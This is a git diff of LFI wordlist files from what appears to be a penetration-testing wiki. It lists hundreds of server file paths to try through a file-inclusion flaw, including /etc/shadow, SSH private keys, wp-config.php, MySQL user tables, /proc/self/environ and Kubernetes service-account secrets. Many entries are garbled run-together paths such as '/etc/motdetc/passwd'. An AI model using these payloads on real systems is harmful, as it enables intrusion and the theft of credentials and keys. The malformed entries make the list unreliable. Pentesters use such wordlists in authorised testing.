+/etc/rsyslog.conf +/etc/redhat-release +/etc/samba/smb.conf /etc/security/environetc/security/limits /etc/security/group /etc/security/passwd /etc/security/user -/etc/shadow +/etc/services +/etc/shells +/etc/snmpd.conf +/etc/ssh/ssh_host_ecdsa_key +/etc/ssh/ssh_host_ecdsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/ssh/ssh_host_rsa_key +/etc/ssh/ssh_host_rsa_key.pub /etc/sudoers -/etc/vhcs2/proftpd/proftpd.conf -/etc/vsftpd.chroot_list -/etc/vsftpd.conf -/etc/vsftpd/vsftpd.conf -/etc/wu-ftpd/ftpaccess -/etc/wu-ftpd/ftphosts -/etc/wu-ftpd/ftpusers -/home2binstableapachephp.inihomebinstableapachephp.ini +/etc/supervisord.conf +/etc/sysconfig/network +/etc/sysctl.conf +/etc/syslog.conf +/etc/system-release +/etc/termcap +/etc/timezone +/etc/tomcat/tomcat-users.xml +/etc/updatedb.conf +~/.gtkrc +/local/apache2/conf/httpd.conf +/log/apache2/error_log +~/.login +~/.logout +/logs/access.log /logs/access_log -/logs/access.loglogs/error_log /logs/error.log -/logs/pure-ftpd.log -/NetServerbinstableapachephp.ini -/opt/apache/conf/httpd.confopt/apache2/conf/httpd.conf -/opt/lampp/logs/access_logopt/lampp/logs/access.log +/logs/error_log +/logs/security_debug_log +/logs/security_log +~/.mysql_history +~/.nano_history +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log /opt/lampp/logs/error_log -/opt/lampp/logs/error.logopt/xampp/logs/access_log -/opt/xampp/etc/php.ini +/opt/lampp/logs/error.logopt /opt/xampp/logs/access.log /opt/xampp/logs/error.log /opt/xampp/logs/error_log /php4php.ini /php5php.ini +~/.php_history /phpphp.ini /PHPphp.ini /private/etc/httpd/httpd.conf -/private/etc/httpd/httpd.conf.defaultVolumes/webBackup/opt/apache2/conf/httpd.conf -/proc/cmdline -/proc/mounts -/proc/net/arp -/proc/net/route -/proc/net/tcp -/proc/net/udp -/proc/sched_debug +/private/etc/httpd/httpd.conf. +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules /proc/self/cmdline -/proc/self/environ +/proc/self/cwd/index.php /proc/self/fd/0 /proc/self/fd/1 /proc/self/fd/10 +/proc/self/fd/100 /proc/self/fd/11 /proc/self/fd/12 /proc/self/fd/13 @@ -125,118 +182,235 @@ /proc/self/fd/34 /proc/self/fd/35 /proc/self/fd/36 -/proc/self/fd/4proc/self/fd/5 +/proc/self/fd/37 +/proc/self/fd/38 +/proc/self/fd/39 +/proc/self/fd/4 +/proc/self/fd/41 +/proc/self/fd/42 +/proc/self/fd/43 +/proc/self/fd/44 +/proc/self/fd/45 +/proc/self/fd/46 +/proc/self/fd/47 +/proc/self/fd/48 +/proc/self/fd/49 +/proc/self/fd/5 +/proc/self/fd/51 +/proc/self/fd/52 +/proc/self/fd/53 +/proc/self/fd/54 +/proc/self/fd/55 +/proc/self/fd/56 +/proc/self/fd/57 +/proc/self/fd/58 +/proc/self/fd/59 /proc/self/fd/6 +/proc/self/fd/61 +/proc/self/fd/62 +/proc/self/fd/63 +/proc/self/fd/64 +/proc/self/fd/65 +/proc/self/fd/66 +/proc/self/fd/67 +/proc/self/fd/68 +/proc/self/fd/69 /proc/self/fd/7 +/proc/self/fd/71 +/proc/self/fd/72 +/proc/self/fd/73 +/proc/self/fd/74 +/proc/self/fd/75 +/proc/self/fd/76 +/proc/self/fd/77 +/proc/self/fd/78 +/proc/self/fd/79 /proc/self/fd/8 +/proc/self/fd/81 +/proc/self/fd/82 +/proc/self/fd/83 +/proc/self/fd/84 +/proc/self/fd/85 +/proc/self/fd/86 +/proc/self/fd/87 +/proc/self/fd/88 +/proc/self/fd/89 /proc/self/fd/9 +/proc/self/fd/91 +/proc/self/fd/92 +/proc/self/fd/93 +/proc/self/fd/94 +/proc/self/fd/95 +/proc/self/fd/96 +/proc/self/fd/97 +/proc/self/fd/98 +/proc/self/fd/99 +/proc/self/net/arp /proc/self/stat /proc/self/status -/proc/self/statvar/log/apache2/error_log -/proc/version -/ProgramFilesApacheGroupApache2confhttpd.confProgramFilesxamppapacheconfhttpd.conf -/ProgramFilesApacheGroupApachelogserror.logusr/local/apache2/conf/httpd.conf +/proc/self/statvar +/proc/stat +/proc/swaps +~/.profile +/root/anaconda-ks.cfg /root/.bash_history +/root/.ssh/authorized_hosts +/root/.ssh/authorized_keys +/root/.ssh/id_dsa +/root/.ssh/id_rsa +/root/.ssh/known_hosts +~/.ssh/authorized_keys +~/.ssh/id_dsa +~/.ssh/id_dsa.pub +~/.ssh/identity +~/.ssh/identity.pub +~/.ssh/id_rsa +~/.ssh/id_rsa.pub /usr/apache2/conf/httpd.conf /usr/apache/conf/httpd.conf -/usr/lib/php.ini -/usr/lib/php/php.ini +/usr/etc/pure-ftpd.conf /usr/lib/security/mkuser.default /usr/local/apache2/conf/httpd.conf +/usr/local/apache2/log/error_log /usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log /usr/local/apache2/logs/error_log /usr/local/apache2/logs/error.logvar/log/access_log -/usr/local/apache/conf/php.ini +/usr/local/apache/audit_log +/usr/local/apache/conf/modsec.conf +/usr/local/apache/error.log +/usr/local/apache/error_log /usr/local/apache/httpd.confusr/local/apache2/httpd.conf -/usr/local/apache/logs/access_log +/usr/local/apache/log +/usr/local/apache/log/error_log +/usr/local/apache/logs +/usr/local/apache/logs/access.log /usr/local/apache/logs/access.logusr/local/apache/logs/error_log /usr/local/apache/logs/error.log /usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf -/usr/local/cpanel/logs -/usr/local/cpanel/logs/error_log -/usr/local/cpanel/logs/license_log +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/login_log /usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log +/usr/local/cpanel/logs/stats_log /usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log /usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf /usr/local/etc/apache/conf/httpd.conf /usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf /usr/local/etc/apache/vhosts.confetc/php.ini -/usr/local/etc/php.ini -/usr/local/etc/pure-ftpd.conf -/usr/local/etc/pureftpd.pdb +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log /usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini /usr/local/lib/php.iniusr/local/php/lib/php.ini -/usr/local/php4/httpd.conf -/usr/local/php4/httpd.conf.php -/usr/local/php4/lib/php.ini -/usr/local/php5/httpd.conf +/usr/local/php5/httpd.conf.php /usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf -/usr/local/php5/lib/php.ini +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini /usr/local/php/httpd.conf.php -/usr/local/pureftpd/etc/pure-ftpd.conf +/usr/local/php/lib/php.ini /usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl -/usr/local/Zend/etc/php.ini +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log /usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/ /usr/ports/ftp/pure-ftpd/ /usr/ports/net/pure-ftpd/ +/usr/sbin/pure-config.pl /usr/sbin/pure-config.plusr/etc/pure-ftpd.conf -/var/adm/log/xferlog -/var/cpanel/cpanel.config -/var/lib/mysql/my.cnf +/usr/var/lib/mysql/debian.cnf +/usr/var/lib/mysql/my.cnf +/usr/var/lib/mysql/user.MYD +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/htmp +/var/lib/mysql/debian.cnf +/var/lib/mysql/mysql/user.MYD +/var/lib/mysql/user.MYD +/var/local/www/conf/php.ini /var/local/www/conf/php.inietc/php/cgi/php.ini /var/log/access.log -/var/log/apache2/access.log +/var/log/apache2/access_log /var/log/apache2/access_logvar/log/httpd/error_log -/var/log/apache/error.log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access_log +/var/log/apache/error_log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/log/chttp.log /var/log/cron.logvar/log/couchdb/couch.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg /var/log/dmessage +/var/log/dpkg.log /var/log/error_log /var/log/error.logvar/log/apache/access_log /var/log/exim4/mainlog /var/log/exim4_mainlog /var/log/exim4/paniclog -/var/log/exim_mainlog +/var/log/exim/mainlog /var/log/exim/mainlogvar/log/maillog +/var/log/exim.paniclog /var/log/exim/paniclog -/var/log/exim_paniclog -/var/log/exim/rejectlog -/var/log/exim_rejectlog -/var/log/ftplog +/var/log/faillog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log /var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy -/var/log/httpd/access.log -/var/log/httpd/access_log -/var/log/httpd/error.log -/var/log/mail -/var/log/mail.log -/var/log/messages +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/mysqlderror.log /var/log/mysqlderror.logvar/log/mysql/mysql.log -/var/log/mysql.log -/var/log/mysql/mysql-bin.log -/var/log/mysql/mysql-slow.log +/var/log/mysql/mysql.log /var/log/news +/var/log/nginx/access.log /var/log/nginx/access.logproc/self/cmdline +/var/log/nginx/error.log /var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log -var/log/postgresql/postgresql-9.6-mail.log -/var/log/proftpd -/var/log/pureftpd.log -/var/log/pure-ftpd/pure-ftpd.log +/var/log/postgresql/postgresql-9.6-mail.log /var/log/qmail /var/log/redis/redis-server.log /var/log/samba/log.smbd +/var/log/secure /var/log/smtpd /var/log/spooler +/var/log/sshd.log /var/log/syslog /var/log/telnetd +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log /var/mail/root -/var/mysql.log -/var/spool/cron/crontabs/root +/var/run/secrets/kubernetes.io/serviceaccount +/var/run/utmp +/var/webmin/miniserv.log /var/www/conf/httpd.conf +/var/www/html/wordpress/wp-config.php +/var/www/html/wp/wp-config.php +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access.log +/var/www/logs/access_log /var/www/logs/access_logvar/www/logs/access.log -/var/www/logs/error.log -/var/www/logs/error_log /var/www/mgr/logs/access.log /var/www/mgr/logs/error_log /var/www/mgr/logs/error.logvar/www/mgr/logs/access_log +/var/www/wordpress/wp-config.php +/var/www/wp/wp-config.php +~/.viminfo /Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf /Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf /Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php @@ -245,5 +419,12 @@ var/log/postgresql/postgresql-9.6-mail.log /Volumes/webBackup/private/etc/httpd/httpd.conf /Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf /web/conf/php.ini -/WINDOWSphp.iniWINNTphp.ini +/WINDOWSphp.ini +/WINNTphp.ini +~/.wm_style /xamppapachebinphp.ini +/xampp/logs/access_log +~/.Xdefaults +~/.xinitrc +~/.Xresources +~/.xsession \ No newline at end of file diff --git a/.gitbook/assets/lfi (2).txt b/.gitbook/assets/lfi (2).txt index 57214136..dd887237 100644 --- a/.gitbook/assets/lfi (2).txt +++ b/.gitbook/assets/lfi (2).txt @@ -1 +1,430 @@ -423 +/apache/logs/access.log +/apache/logs/access_log +/apache/logs/error.log +/apache/logs/error_log +~/.atfp_history +~/.bash_history +~/.bash_logout +~/.bash_profile +~/.bashrc +/bin/php.ini +/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf +/etc/anaconda-ks.cfg +/etc/anacrontab +/etc/apache2/apache2.conf +/etc/apache2/conf/httpd.conf +/etc/apache/conf/httpd.conf +/etc/at.allow +/etc/at.deny +/etc/bashrc +/etc/bootptab +/etc/centos-release +/etc/cesi.conf +/etc/chrootUsers +/etc/chrootUsersvar/log/xferlog +/etc/chttp.conf +/etc/cron.allow +/etc/cron.deny +/etc/crontab +/etc/cups/cupsd.conf +/etc/debconf.conf +/etc/debian_version +/etc/dovecot/dovecot.passwd +/etc/environment +/etc/fstab +/etc/ftpaccess +/etc/groups +/etc/grub.conf +/etc/gshadow +/etc/hostapd.conf +/etc/hostname +/etc/hosts.allow +/etc/hosts.deny +/etc/http/conf/httpd.conf +/etc/httpd/access.conf +/etc/httpd.conf +/etc/httpd/srm.conf +/etc/http/httpd.conf +/etc/inetd.conf +/etc/inittab +/etc/lighttpd.conf +/etc/lilo.conf +/etc/logrotate.d/proftpd +/etc/logrotate.d/proftpdwww/logs/proftpd.system.log +/etc/lsb-release +/etc/master.passwd +/etc/modules.conf +/etc/motdetc/passwd +/etc/mtab +/etc/my.conf +/etc/mysql/user.MYD +/etc/netconfig +/etc/network/interfaces +/etc/networks +/etc/npasswd +/etc/ntp.conf +/etc/os-release +/etc/php4.4/fcgi/php.ini +/etc/php4.4/fcgi/php.inietc/php4/apache/php.ini +/etc/php4/apache/php.ini +/etc/php5/cgi/php.ini +/etc/php/apache/php.ini +/etc/php/cgi/php.ini +/etc/php.ini +/etc/php/php4/php.ini +/etc/php/php4/php.inietc/php/apache/php.ini +/etc/polkit-1/localauthority.conf.d/50-localauthority.conf +/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf +/etc/printcap +/etc/proftpd/modules.confvar/log/vsftpd.log +/etc/proftpd/proftpd.conf +/etc/protocols +/etc/protpd/proftpd.conf +/etc/pureftpd.passwd +/etc/pureftpd.pdb +/etc/pureftpd.pdbetc/pureftpd.passwd +/etc/pure-ftpd/pureftpd.pdb +/etc/pure-ftpd/putreftpd.pdb +/etc/rsyncd.conf +/etc/rsyslog.conf +/etc/redhat-release +/etc/samba/smb.conf +/etc/security/environetc/security/limits +/etc/security/group +/etc/security/passwd +/etc/security/user +/etc/services +/etc/shells +/etc/snmpd.conf +/etc/ssh/ssh_host_ecdsa_key +/etc/ssh/ssh_host_ecdsa_key.pub +/etc/ssh/ssh_host_key +/etc/ssh/ssh_host_key.pub +/etc/ssh/ssh_host_rsa_key +/etc/ssh/ssh_host_rsa_key.pub +/etc/sudoers +/etc/supervisord.conf +/etc/sysconfig/network +/etc/sysctl.conf +/etc/syslog.conf +/etc/system-release +/etc/termcap +/etc/timezone +/etc/tomcat/tomcat-users.xml +/etc/updatedb.conf +~/.gtkrc +/local/apache2/conf/httpd.conf +/log/apache2/error_log +~/.login +~/.logout +/logs/access.log +/logs/access_log +/logs/error.log +/logs/error_log +/logs/security_debug_log +/logs/security_log +~/.mysql_history +~/.nano_history +/opt/apache2/conf/httpd.conf +/opt/apache/conf/httpd.conf +/opt/lampp/etc/httpd.conf +/opt/lampp/logs/access.log +/opt/lampp/logs/access_log +/opt/lampp/logs/error_log +/opt/lampp/logs/error.logopt +/opt/xampp/logs/access.log +/opt/xampp/logs/error.log +/opt/xampp/logs/error_log +/php4php.ini +/php5php.ini +~/.php_history +/phpphp.ini +/PHPphp.ini +/private/etc/httpd/httpd.conf +/private/etc/httpd/httpd.conf. +/proc/cpuinfo +/proc/filesystems +/proc/interrupts +/proc/ioports +/proc/meminfo +/proc/modules +/proc/self/cmdline +/proc/self/cwd/index.php +/proc/self/fd/0 +/proc/self/fd/1 +/proc/self/fd/10 +/proc/self/fd/100 +/proc/self/fd/11 +/proc/self/fd/12 +/proc/self/fd/13 +/proc/self/fd/14 +/proc/self/fd/15 +/proc/self/fd/16 +/proc/self/fd/17 +/proc/self/fd/18 +/proc/self/fd/19 +/proc/self/fd/2 +/proc/self/fd/20 +/proc/self/fd/21 +/proc/self/fd/22 +/proc/self/fd/23 +/proc/self/fd/24 +/proc/self/fd/25 +/proc/self/fd/26 +/proc/self/fd/27 +/proc/self/fd/28 +/proc/self/fd/29 +/proc/self/fd/3 +/proc/self/fd/30 +/proc/self/fd/31 +/proc/self/fd/32 +/proc/self/fd/33 +/proc/self/fd/34 +/proc/self/fd/35 +/proc/self/fd/36 +/proc/self/fd/37 +/proc/self/fd/38 +/proc/self/fd/39 +/proc/self/fd/4 +/proc/self/fd/41 +/proc/self/fd/42 +/proc/self/fd/43 +/proc/self/fd/44 +/proc/self/fd/45 +/proc/self/fd/46 +/proc/self/fd/47 +/proc/self/fd/48 +/proc/self/fd/49 +/proc/self/fd/5 +/proc/self/fd/51 +/proc/self/fd/52 +/proc/self/fd/53 +/proc/self/fd/54 +/proc/self/fd/55 +/proc/self/fd/56 +/proc/self/fd/57 +/proc/self/fd/58 +/proc/self/fd/59 +/proc/self/fd/6 +/proc/self/fd/61 +/proc/self/fd/62 +/proc/self/fd/63 +/proc/self/fd/64 +/proc/self/fd/65 +/proc/self/fd/66 +/proc/self/fd/67 +/proc/self/fd/68 +/proc/self/fd/69 +/proc/self/fd/7 +/proc/self/fd/71 +/proc/self/fd/72 +/proc/self/fd/73 +/proc/self/fd/74 +/proc/self/fd/75 +/proc/self/fd/76 +/proc/self/fd/77 +/proc/self/fd/78 +/proc/self/fd/79 +/proc/self/fd/8 +/proc/self/fd/81 +/proc/self/fd/82 +/proc/self/fd/83 +/proc/self/fd/84 +/proc/self/fd/85 +/proc/self/fd/86 +/proc/self/fd/87 +/proc/self/fd/88 +/proc/self/fd/89 +/proc/self/fd/9 +/proc/self/fd/91 +/proc/self/fd/92 +/proc/self/fd/93 +/proc/self/fd/94 +/proc/self/fd/95 +/proc/self/fd/96 +/proc/self/fd/97 +/proc/self/fd/98 +/proc/self/fd/99 +/proc/self/net/arp +/proc/self/stat +/proc/self/status +/proc/self/statvar +/proc/stat +/proc/swaps +~/.profile +/root/anaconda-ks.cfg +/root/.bash_history +/root/.ssh/authorized_hosts +/root/.ssh/authorized_keys +/root/.ssh/id_dsa +/root/.ssh/id_rsa +/root/.ssh/known_hosts +~/.ssh/authorized_keys +~/.ssh/id_dsa +~/.ssh/id_dsa.pub +~/.ssh/identity +~/.ssh/identity.pub +~/.ssh/id_rsa +~/.ssh/id_rsa.pub +/usr/apache2/conf/httpd.conf +/usr/apache/conf/httpd.conf +/usr/etc/pure-ftpd.conf +/usr/lib/security/mkuser.default +/usr/local/apache2/conf/httpd.conf +/usr/local/apache2/log/error_log +/usr/local/apache2/logs/access_logusr/local/apache2/logs/access.log +/usr/local/apache2/logs/error_log +/usr/local/apache2/logs/error.logvar/log/access_log +/usr/local/apache/audit_log +/usr/local/apache/conf/modsec.conf +/usr/local/apache/error.log +/usr/local/apache/error_log +/usr/local/apache/httpd.confusr/local/apache2/httpd.conf +/usr/local/apache/log +/usr/local/apache/log/error_log +/usr/local/apache/logs +/usr/local/apache/logs/access.log +/usr/local/apache/logs/access.logusr/local/apache/logs/error_log +/usr/local/apache/logs/error.log +/usr/local/apps/apache2/conf/httpd.confusr/local/apps/apache/conf/httpd.conf +/usr/local/cpanel/logs/access_log +/usr/local/cpanel/logs/login_log +/usr/local/cpanel/logs/login_logusr/local/cpanel/logs/stats_log +/usr/local/cpanel/logs/stats_log +/usr/local/cpanel/logs/stats_logusr/local/cpanel/logs/access_log +/usr/local/etc/apache2/conf/httpd.confusr/local/etc/httpd/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.conf +/usr/local/etc/apache/conf/httpd.confusr/local/apache/conf/httpd.conf +/usr/local/etc/apache/vhosts.confetc/php.ini +/usr/local/etc/httpd/logs/access_log +/usr/local/etc/httpd/logs/error_log +/usr/local/httpd/conf/httpd.conf +/usr/local/lib/php.ini +/usr/local/lib/php.iniusr/local/php/lib/php.ini +/usr/local/php5/httpd.conf.php +/usr/local/php5/httpd.conf.phpusr/local/php/httpd.conf +/usr/local/php/httpd.conf +/usr/local/php/httpd.conf.ini +/usr/local/php/httpd.conf.php +/usr/local/php/lib/php.ini +/usr/local/pureftpd/etc/pureftpd.pdbusr/local/pureftpd/sbin/pure-config.pl +/usr/local/pureftpd/etc/pureftpd.pdn +/usr/local/pureftpd/sbin/pure-config.pl +/usr/local/www/logs/httpd_log +/usr/pkgsrc/net/pureftpd/usr/ports/contrib/pure-ftpd/ +/usr/ports/ftp/pure-ftpd/ +/usr/ports/net/pure-ftpd/ +/usr/sbin/pure-config.pl +/usr/sbin/pure-config.plusr/etc/pure-ftpd.conf +/usr/var/lib/mysql/debian.cnf +/usr/var/lib/mysql/my.cnf +/usr/var/lib/mysql/user.MYD +/var/apache2/config.inc +/var/apache/logs/access_log +/var/apache/logs/error_log +/var/htmp +/var/lib/mysql/debian.cnf +/var/lib/mysql/mysql/user.MYD +/var/lib/mysql/user.MYD +/var/local/www/conf/php.ini +/var/local/www/conf/php.inietc/php/cgi/php.ini +/var/log/access.log +/var/log/apache2/access_log +/var/log/apache2/access_logvar/log/httpd/error_log +/var/log/apache2/error.log +/var/log/apache2/error_log +/var/log/apache/access_log +/var/log/apache/error_log +/var/log/apache-ssl/access.log +/var/log/apache-ssl/error.log +/var/log/auth.log +/var/log/boot +/var/log/chttp.log +/var/log/cron.logvar/log/couchdb/couch.log +/var/log/cups/error.log +/var/log/daemon.log +/var/log/debug +/var/log/dmesg +/var/log/dmessage +/var/log/dpkg.log +/var/log/error_log +/var/log/error.logvar/log/apache/access_log +/var/log/exim4/mainlog +/var/log/exim4_mainlog +/var/log/exim4/paniclog +/var/log/exim/mainlog +/var/log/exim/mainlogvar/log/maillog +/var/log/exim.paniclog +/var/log/exim/paniclog +/var/log/faillog +/var/log/ftp-proxy +/var/log/ftp-proxy/ftp-proxy.log +/var/log/ftp-proxy/ftp-proxy.logvar/log/ftp-proxy +/var/log/httpsd/ssl.access_log +/var/log/httpsd/ssl_log +/var/log/kern.log +/var/log/lastlog +/var/log/lighttpd/access.log +/var/log/lighttpd/error.log +/var/log/lighttpd/lighttpd.access.log +/var/log/lighttpd/lighttpd.error.log +/var/log/mail.info +/var/log/maillog +/var/log/mail.warn +/var/log/message +/var/log/mysqlderror.log +/var/log/mysqlderror.logvar/log/mysql/mysql.log +/var/log/mysql/mysql.log +/var/log/news +/var/log/nginx/access.log +/var/log/nginx/access.logproc/self/cmdline +/var/log/nginx/error.log +/var/log/postgresql/postgresql-10-main.logvar/log/apache2/error.log +/var/log/postgresql/postgresql-9.6-mail.log +/var/log/qmail +/var/log/redis/redis-server.log +/var/log/samba/log.smbd +/var/log/secure +/var/log/smtpd +/var/log/spooler +/var/log/sshd.log +/var/log/syslog +/var/log/telnetd +/var/log/wtmp +/var/log/xferlog +/var/log/yum.log +/var/mail/root +/var/run/secrets/kubernetes.io/serviceaccount +/var/run/utmp +/var/webmin/miniserv.log +/var/www/conf/httpd.conf +/var/www/html/wordpress/wp-config.php +/var/www/html/wp/wp-config.php +/var/www/log/access_log +/var/www/log/error_log +/var/www/logs/access.log +/var/www/logs/access_log +/var/www/logs/access_logvar/www/logs/access.log +/var/www/mgr/logs/access.log +/var/www/mgr/logs/error_log +/var/www/mgr/logs/error.logvar/www/mgr/logs/access_log +/var/www/wordpress/wp-config.php +/var/www/wp/wp-config.php +~/.viminfo +/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf +/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.confVolumes/Macintosh_HD1/opt/apache/conf/httpd.conf +/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.phpVolumes/Macintosh_HD1/usr/local/php4/httpd.conf.php +/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini +/Volumes/webBackup/private/etc/httpd/httpd.conf +/Volumes/webBackup/private/etc/httpd/httpd.conf.defaultProgramFilesApacheGroupApacheconfhttpd.conf +/web/conf/php.ini +/WINDOWSphp.ini +/WINNTphp.ini +~/.wm_style +/xamppapachebinphp.ini +/xampp/logs/access_log +~/.Xdefaults +~/.xinitrc +~/.Xresources +~/.xsession \ No newline at end of file diff --git a/.gitbook/assets/lfi (3).txt b/.gitbook/assets/lfi (3).txt index dd887237..57214136 100644 --- a/.gitbook/assets/lfi (3).txt +++ b/.gitbook/assets/lfi (3).txt @@ -1,430 +1 @@ -/apache/logs/access.log -/apache/logs/access_log -/apache/logs/error.log -/apache/logs/error_log -~/.atfp_history -~/.bash_history -~/.bash_logout -~/.bash_profile -~/.bashrc -/bin/php.ini -/defaultVolumes/webBackup/opt/apache2/conf/httpd.conf -/etc/anaconda-ks.cfg -/etc/anacrontab -/etc/apache2/apache2.conf -/etc/apache2/conf/httpd.conf -/etc/apache/conf/httpd.conf -/etc/at.allow -/etc/at.deny -/etc/bashrc -/etc/bootptab -/etc/centos-release -/etc/cesi.conf -/etc/chrootUsers -/etc/chrootUsersvar/log/xferlog -/etc/chttp.conf -/etc/cron.allow -/etc/cron.deny -/etc/crontab -/etc/cups/cupsd.conf -/etc/debconf.conf -/etc/debian_version -/etc/dovecot/dovecot.passwd -/etc/environment -/etc/fstab -/etc/ftpaccess -/etc/groups -/etc/grub.conf -/etc/gshadow -/etc/hostapd.conf -/etc/hostname -/etc/hosts.allow -/etc/hosts.deny -/etc/http/conf/httpd.conf -/etc/httpd/access.conf -/etc/httpd.conf -/etc/httpd/srm.conf -/etc/http/httpd.conf -/etc/inetd.conf -/etc/inittab -/etc/lighttpd.conf -/etc/lilo.conf -/etc/logrotate.d/proftpd -/etc/logrotate.d/proftpdwww/logs/proftpd.system.log -/etc/lsb-release -/etc/master.passwd -/etc/modules.conf -/etc/motdetc/passwd -/etc/mtab -/etc/my.conf -/etc/mysql/user.MYD -/etc/netconfig -/etc/network/interfaces -/etc/networks -/etc/npasswd -/etc/ntp.conf -/etc/os-release -/etc/php4.4/fcgi/php.ini -/etc/php4.4/fcgi/php.inietc/php4/apache/php.ini -/etc/php4/apache/php.ini -/etc/php5/cgi/php.ini -/etc/php/apache/php.ini -/etc/php/cgi/php.ini -/etc/php.ini -/etc/php/php4/php.ini -/etc/php/php4/php.inietc/php/apache/php.ini -/etc/polkit-1/localauthority.conf.d/50-localauthority.conf -/etc/polkit-1/localauthority.conf.d/51-debian-sudo.conf -/etc/printcap -/etc/proftpd/modules.confvar/log/vsftpd.log -/etc/proftpd/proftpd.conf -/etc/protocols -/etc/protpd/proftpd.conf -/etc/pureftpd.passwd -/etc/pureftpd.pdb -/etc/pureftpd.pdbetc/pureftpd.passwd -/etc/pure-ftpd/pureftpd.pdb -/etc/pure-ftpd/putreftpd.pdb -/etc/rsyncd.conf -/etc/rsyslog.conf -/etc/redhat-release -/etc/samba/smb.conf -/etc/security/environetc/security/limits -/etc/security/group -/etc/security/passwd -/etc/security/user -/etc/services -/etc/shells -/etc/snmpd.conf -/etc/ssh/ssh_host_ecdsa_key -/etc/ssh/ssh_host_ecdsa_key.pub -/etc/ssh/ssh_host_key -/etc/ssh/ssh_host_key.pub -/etc/ssh/ssh_host_rsa_key -/etc/ssh/ssh_host_rsa_key.pub -/etc/sudoers -/etc/supervisord.conf -/etc/sysconfig/network -/etc/sysctl.conf -/etc/syslog.conf -/etc/system-release -/etc/termcap -/etc/timezone -/etc/tomcat/tomcat-users.xml -/etc/updatedb.conf -~/.gtkrc -/local/apache2/conf/httpd.conf -/log/apache2/error_log -~/.login -~/.logout -/logs/access.log -/logs/access_log -/logs/error.log -/logs/error_log -/logs/security_debug_log -/logs/security_log -~/.mysql_history -~/.nano_history -/opt/apache2/conf/httpd.conf -/opt/apache/conf/httpd.conf -/opt/lampp/etc/httpd.conf -/opt/lampp/logs/access.log -/opt/lampp/logs/access_log -/opt/lampp/logs/error_log -/opt/lampp/logs/error.logopt -/opt/xampp/logs/access.log -/opt/xampp/logs/error.log -/opt/xampp/logs/error_log -/php4php.ini -/php5php.ini -~/.php_history -/phpphp.ini -/PHPphp.ini -/private/etc/httpd/httpd.conf -/private/etc/httpd/httpd.conf. -/proc/cpuinfo -/proc/filesystems -/proc/interrupts -/proc/ioports -/proc/meminfo -/proc/modules -/proc/self/cmdline -/proc/self/cwd/index.php -/proc/self/fd/0 -/proc/self/fd/1 -/proc/self/fd/10 -/proc/self/fd/100 -/proc/self/fd/11 -/proc/self/fd/12 -/proc/self/fd/13 -/proc/self/fd/14 -/proc/self/fd/15 -/proc/self/fd/16 -/proc/self/fd/17 -/proc/self/fd/18 -/proc/self/fd/19 -/proc/self/fd/2 -/proc/self/fd/20 -/proc/self/fd/21 -/proc/self/fd/22 -/proc/self/fd/23 -/proc/self/fd/24 -/proc/self/fd/25 -/proc/self/fd/26 -/proc/self/fd/27 -/proc/self/fd/28 -/proc/self/fd/29 -/proc/self/fd/3 -/proc/self/fd/30 -/proc/self/fd/31 -/proc/self/fd/32 -/proc/self/fd/33 -/proc/self/fd/34 -/proc/self/fd/35 -/proc/self/fd/36 -/proc/self/fd/37 -/proc/self/fd/38 -/proc/self/fd/39 -/proc/self/fd/4 -/proc/self/fd/41 -/proc/self/fd/42 -/proc/self/fd/43 -/proc/self/fd/44 -/proc/self/fd/45 -/proc/self/fd/46 -/proc/self/fd/47 -/proc/self/fd/48 -/proc/self/fd/49 -/proc/self/fd/5 -/proc/self/fd/51 -/proc/self/fd/52 -/proc/self/fd/53 -/proc/self/fd/54 -/proc/self/fd/55 -/proc/self/fd/56 -/proc/self/fd/57 -/proc/self/fd/58 